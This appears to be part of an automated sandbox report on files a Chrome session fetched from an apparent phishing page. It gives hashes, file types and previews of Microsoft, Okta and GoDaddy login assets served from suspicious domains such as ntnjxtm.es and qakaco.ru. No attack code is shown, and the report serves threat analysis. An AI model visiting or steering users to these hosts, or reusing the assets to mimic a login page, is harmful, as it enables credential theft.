                                                                                            Preview:var M=()=>{let e=()=>{let t=document.location.href,s=document.querySelector("body"),r=new MutationObserver(()=>{t!==document.location.href&&(t=document.location.href,window.top&&(window.top.postMessage({type:"URL_CHANGED",url:document.location.href},"https://lovable.dev"),window.top.postMessage({type:"URL_CHANGED",url:document.location.href},"http://localhost:3000")))});s&&r.observe(s,{childList:!0,subtree:!0})};window.addEventListener("load",e)};var c={HIGHLIGHT_COLOR:"#0da2e7",HIGHLIGHT_BG:"#0da2e71a",ALLOWED_ORIGINS:["https://gptengineer.app","http://localhost:3000","https://lovable.dev"],DEBOUNCE_DELAY:10,Z_INDEX:1e4,TOOLTIP_OFFSET:25,MAX_TOOLTIP_WIDTH:200,SCROLL_DEBOUNCE:420,FULL_WIDTH_TOOLTIP_OFFSET:"12px",HIGHLIGHT_STYLE:{FULL_WIDTH:{OFFSET:"-5px",STYLE:"solid"},NORMAL:{OFFSET:"0",STYLE:"solid"}},SELECTED_ATTR:"data-lov-selected",HOVERED_ATTR:"data-lov-hovered",OVERRIDE_STYLESHEET_ID:"lovable-override"},f=e=>{c.ALLOWED_ORIGINS.forEach(t=>{try{if(!window.parent)return;if(!e||type
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
                                                                                            Category:dropped
                                                                                            Size (bytes):673
                                                                                            Entropy (8bit):7.6596900876595075
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:0E176276362B94279A4492511BFCBD98
                                                                                            SHA1:389FE6B51F62254BB98939896B8C89EBEFFE2A02
                                                                                            SHA-256:9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
                                                                                            SHA-512:8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q...*..~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1.....*.#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:RIFF (little-endian) data, Web/P image
                                                                                            Category:dropped
                                                                                            Size (bytes):17842
                                                                                            Entropy (8bit):7.821645806304586
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:4B52ECDC33382C9DCA874F551990E704
                                                                                            SHA1:8F3BF8E41CD4CDDDB17836B261E73F827B84341B
                                                                                            SHA-256:CCE050CC3B150C0B370751021BB15018EE2B64AC369E230FE3B571A9B00D4342
                                                                                            SHA-512:AC3D3C82BAD9147AE5F083ED49C81A744F672DDFBB262135AA3F2C6601F8DFFEA11D8E323CEF025C36D76C6F2515AA6814B622CF504CA01D13346E9EA989048F
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:RIFF.E..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.,...$.m.8..k.\.oDL.. ..TU....3'.{.g..6..2...6.DL`e..."&@..b.#&@......T.....'.....$......1.d...G........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........._...........................?...Z5[...B,.c...V-...m.0.../..?...............?.......?................_.....-...M.B.....=....C...[......w .X...ea.............VW.?b....[[.o^.Y.K...OD
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:SVG Scalable Vector Graphics image
                                                                                            Category:downloaded
                                                                                            Size (bytes):270
                                                                                            Entropy (8bit):4.840496990713235
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:40EB39126300B56BF66C20EE75B54093
                                                                                            SHA1:83678D94097257EB474713DEC49E8094F49D2E2A
                                                                                            SHA-256:765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
                                                                                            SHA-512:9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/mnNty0NDXXLQyviMh2NGie7opYWcEC7YX2uvZOFaRw1nvJwj3QtZhPgMA990143
                                                                                            Preview:<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (64616)
                                                                                            Category:downloaded
                                                                                            Size (bytes):368197
                                                                                            Entropy (8bit):5.471853345596085
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:3D646000AAF37589C55B68D09EFF5C86
                                                                                            SHA1:4122245DDD78C263171CA819E2AB29ABEA67038D
                                                                                            SHA-256:8AF321B8D3C3739F543708EB53825610A958BE130EBED06750955FE0BA36143B
                                                                                            SHA-512:6598BBFEE8A2972569382C9F6B57AF0C9CFB38B1E1D00C3E5A2226CB1EA1B6F62E9C96E1B24A49711BBB439B26A902EF358BF4888925E47F4DBB4A5FE4315D81
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedError_Core_PWRgAKrzdYnFW2jQnv9chg2.js
                                                                                            Preview:/*!. * ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,o,a=n[0],r=n[1],s=0,c=[];s<a.length;s++)
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:Web Open Font Format (Version 2), TrueType, length 48444, version 1.0
                                                                                            Category:downloaded
                                                                                            Size (bytes):48444
                                                                                            Entropy (8bit):7.995593685409469
                                                                                            Encrypted:true
                                                                                            SSDEEP:
                                                                                            MD5:8E433C0592F77BEB6DC527D7B90BE120
                                                                                            SHA1:D7402416753AE1BB4CBD4B10D33A0C10517838BD
                                                                                            SHA-256:F052EE44C3728DFD23ABA8A4567150BC314D23903026FBB6AD089422C2DF56AF
                                                                                            SHA-512:5E90F48B923BB95AEB49691D03DADE8825C119B2FA28977EA170C41548900F4E0165E2869F97C7A9380D7FF8FF331A1DA855500E5F7B0DFD2B9ABD77A386BBF3
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1ZL7.woff2
                                                                                            Preview:wOF2.......<.......l..............................`...\..p?HVAR.m?MVAR^.`?STAT.N'&..>/l........>....0....6.$.... ........[..A.2v.6......$..e...w"../.L.p:......Tpc..8@.[5......d#d.xw..o.O3-.....%..>...%..)~p.K.J.H..S...s..z..Wa.. 0\..J.....BL;V..-.L...j....^.9..HO l..,.*.6.v....?....x.....m..;....a![zif...Ur...Q..P.&.I1..:n.p...j~..h...9.!....@.<.bl|.Y?h..B.j/..rH.S%/~.^D...6..D.4G...y....Y.....=/o..W..5ryo.d?.gA]..?...1V..S......7ZJ...f....mBG[0eW....y..%B}..]? ...,sR<.y~.~.}.%.!..,X.....`...R..^....S.....u*.?k.v.k..U.u..M..`!...b!..X)P...y{.........n..T+6...R......L...x}...g...].g"WT.b..h ....X...=;{w...QO.s..w..@.(,..........{.........1..@...(...\.......9*..2.h9P.G........K.Dp...F..4W..ui.u...G...s..x7.?..tg..D..O.sA..t.t.4..~..e\...X.....T..kf.qfX..=^_....g"....De...x[J..A..).G.YUhR.....0.l..#&3.'.K..*...........$I.Pp.../.s.<@...r=..S......d..P.S.B.w.~X..ZK....h J.`A.bv,=.....>1.Ev.^..U.A. ....EU..].........dw..!$.A`..B.._.....Z~..!..J..l]r.m}m..
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (10450)
                                                                                            Category:downloaded
                                                                                            Size (bytes):10498
                                                                                            Entropy (8bit):5.327380141461276
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:E0D37A504604EF874BAD26435D62011F
                                                                                            SHA1:4301F0D2B729AE22ADECE657D79ECCAA25F429B1
                                                                                            SHA-256:C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
                                                                                            SHA-512:EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
                                                                                            Preview:a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,tt,u,ul,var{background:transparent;border:0;font-size:100%;font:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}:focus{outline:0}ins{text-decoration:none}del{text-decoration:line-through}table{border-collapse:collapse;border-spacing:0}input[type=hidden]{display:none!important}input[type=checkbox],input[type=radio]{border:0!important;margin:0;padding:0}@font-face{font-family:Proxima Nova;font-style:normal;font-weight:400;src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot);src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot?#iefix) fo
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:RIFF (little-endian) data, Web/P image
                                                                                            Category:downloaded
                                                                                            Size (bytes):1298
                                                                                            Entropy (8bit):6.665390877423149
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:32CA2081553E969F9FDD4374134521AD
                                                                                            SHA1:7B09924C4C3D8B6E41FE38363E342DA098BE4173
                                                                                            SHA-256:216FC342A469AA6A005B2EACC24622095E5282D3E9F1AE99CE54C27B92EC3587
                                                                                            SHA-512:F75749C6344FCD7BF06872A3678BB2EB4CAE2DDC31CC5D1EE73EFBA843705577841667733A83163AF4336EC8A32DF93E7A36155BD6282D7BB86159644975948C
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/klcplTgwNyGPdYzyQxuFUQFi9HCWNllQWGoppRjMK3Zs4O2nsJiSjS0UcbYF11KDCk9ab225
                                                                                            Preview:RIFF....WEBPVP8X....0...k.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHX.....\m{.z..........T ..Q....R..*.X....U`..@......Yyy..<q.."b..a....K._.....jH.*...}q..........^.-.\.4. &.H~.q..H.q.'.t..p....0)...X.....8./.... ..6.#H..Y..../...E>.#.tv....9.\.p5......h......1.{@.k].(1...B.........u.n....=....sX...*..I.c]r....S.....u.a...X.....Pi..q.$73..ga..h%9.S.l.....}....^%.@:Q....we8x..j..3.^.}5.fFtZ...3....<. x.s....d@(./.<].y...m.....T..........T.P`....5..<qYl.g..k..N. `_...f....yN.R.PB..p|..-.%.`y.._.]C.v.<.Y...V..I..(.c....>...........k....nt
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:very short file (no magic)
                                                                                            Category:downloaded
                                                                                            Size (bytes):1
                                                                                            Entropy (8bit):0.0
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:CFCD208495D565EF66E7DFF9F98764DA
                                                                                            SHA1:B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
                                                                                            SHA-256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
                                                                                            SHA-512:31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://t0b1.qakaco.ru/rand@zcnpdz
                                                                                            Preview:0
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406603
                                                                                            Category:downloaded
                                                                                            Size (bytes):116250
                                                                                            Entropy (8bit):7.997503309759718
                                                                                            Encrypted:true
                                                                                            SSDEEP:
                                                                                            MD5:8029470B58CA2B195F65FBA692E88876
                                                                                            SHA1:04048CC11C933E1FA1746691435CA2570014FAA7
                                                                                            SHA-256:1EA9F7D9EF69B57B7F685BD278594BA657F51E0265DF6A8F56B7074D0980AF69
                                                                                            SHA-512:81579750312BCA184A61A194860746154C69946D33D9E77C35CB49544AFCACA6B9805DC1EE2F5EB1A85B4A6D5C2BC0AA1B234C09F53EFA4EAF2B2067CBDCDEB5
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergederror_customizationloader_3d1cca97520c15b17c7a.js
                                                                                            Preview:...........k{.H.(.}........FXf....L......8L.....$F._.....*.$......N?..K......U..............._N...........7........F...........0... .fa.%<.M.o.{..(...d.k.(...I\..q..].IxW3..hX;..vrf..~...7~._....\..Z.&...`H.M.&.y-..<........Da...Z....F.....`5/.'.Q.%c.V..K.ZcjF..Sq...?..G4P....C..,.A.7a0yhi..*....PK..C.........4.v.y^.ta...Va.1.n...I-..Q.&+.........M..8.9X8.&.|....q.....Og......8.g3>.........6...a.i}.kf.m.n.w6.%^..d.;..7~2N.[.p.9....C...`p..^.~.......rjg.5...6.z~..:.g..0.gj.Oa.U....:........c..;?..n...3o..0C3...|~.Z.4..WWv..E..`n..`..X..j......0."...j...m...coY._...c..~.......J...[.I.;.M..:....;.n....`..1..=..wq...MZ...^........?.x.FAm..6.^.......'..|...#..X..q....O.~W.M3.+b..-u../...h.$..*..|.0..z..p.Y.......a.<.k.....S......@.8...8F.D.>.04.[.6..I..2.#?.z&o.6.........L-..`(.6-...b.}....P..g..!.e<:..Q.:..e./..V;n........6.m..........G..%e.gn...q...7...r.oB..<..u{..l....U=_E.'.a......o&....`#^...\..FK.d.......7...g......
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
                                                                                            Category:downloaded
                                                                                            Size (bytes):61052
                                                                                            Entropy (8bit):7.996159932827634
                                                                                            Encrypted:true
                                                                                            SSDEEP:
                                                                                            MD5:C1E82BF71ADD622AD0F3BF8572F634FC
                                                                                            SHA1:6CA863D4CAB96669202548D301693B3F5F80B0D5
                                                                                            SHA-256:BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
                                                                                            SHA-512:820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
                                                                                            Preview:...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..|.-..x1.F...@...yRlG.O..5.Q.|.gy.c.^....r.EC.....xd.oL..$./..|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1.*.lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.......*..W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:SVG Scalable Vector Graphics image
                                                                                            Category:downloaded
                                                                                            Size (bytes):268
                                                                                            Entropy (8bit):5.111190711619041
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:59759B80E24A89C8CD029B14700E646D
                                                                                            SHA1:651B1921C99E143D3C242DE3FAACFB9AD51DBB53
                                                                                            SHA-256:B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
                                                                                            SHA-512:0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/rsra1UKjLx7gt4WZf7qbu2Ck17DBOf1DRrsKuvWFjKxwoCKh3QJVXy30Hg5eir9bygwef191
                                                                                            Preview:<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):35786
                                                                                            Entropy (8bit):5.058073854893359
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:38501E3FBBBD89B56AA5BA35DE1A32FE
                                                                                            SHA1:D9B31981B6F834E8480BA28FBC1CFF1BE772F589
                                                                                            SHA-256:A1CA6B381CB01968851C98512C6E7F6C5309A49F7A16B864813135CBFF82A85B
                                                                                            SHA-512:1547937AA9B366E76DE44933EF48EF60E3D043245E8E3E01C97DFC2981F6B1F61463D9D30992FBCF2CA25FC1B7B32FF808B9789CFB965D74455522FC58E0C08C
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/abLbTpRuzuZf0pqzEef26
                                                                                            Preview:#sections_godaddy {..font-family: gdsherpa !important;..}..#sections_godaddy a {.. color: var(--ux-2rqapw,#000);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. text-decoration: var(--ux-1f7if5p,underline);.. background-color: transparent;..}....#sections_godaddy #root {.. flex: 1 1 0%;..}....#sections_godaddy a:hover {../* color: var(--ux-1j87vvn,#fff);*/.. -webkit-text-decoration: var(--ux-1ft0khm,underline);.. text-decoration: var(--ux-1ft0khm,underline);..}....#sections_godaddy svg {.. overflow: hidden;.. vertical-align: unset;..}....#sections_godaddy .ux-button {.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. padding: 0;.. text-decoration: var(--ux-1f7if5p,underline);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. gap: 0.5em;.. cursor: pointer;.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. font-weight: inherit;.. background: transparent;.. gap:
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (48238)
                                                                                            Category:downloaded
                                                                                            Size (bytes):48239
                                                                                            Entropy (8bit):5.343270713163753
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:184E29DE57C67BC329C650F294847C16
                                                                                            SHA1:961208535893142386BA3EFE1444B4F8A90282C3
                                                                                            SHA-256:DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
                                                                                            SHA-512:AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
                                                                                            Preview:"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:RIFF (little-endian) data, Web/P image
                                                                                            Category:dropped
                                                                                            Size (bytes):644
                                                                                            Entropy (8bit):4.6279651077789685
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:541B83C2195088043337E4353B6FD60D
                                                                                            SHA1:F09630596B6713217984785A64F6EA83E91B49C5
                                                                                            SHA-256:2658B8874F0D2A12E8726DF78AC8954324C3BBE4695E66BDEF89195FDE64322F
                                                                                            SHA-512:B2AE42BA9D3A63D3ACB179051B005F2589F147D94F044616AE5DC5705E873F16057C56934262841191263B4C35804EF188BD38CF69CCE0F4B2CF76C05F17B8AD
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:RIFF|...WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHK....W`$....z..".Y..P}0;.PE..G..h....9.@..`..2.......=.T.....-3..ow.*...&......VP8 :...0....*....>m&.M.!"......i...O...(.........g....w...XG...
                                                                                            No static file info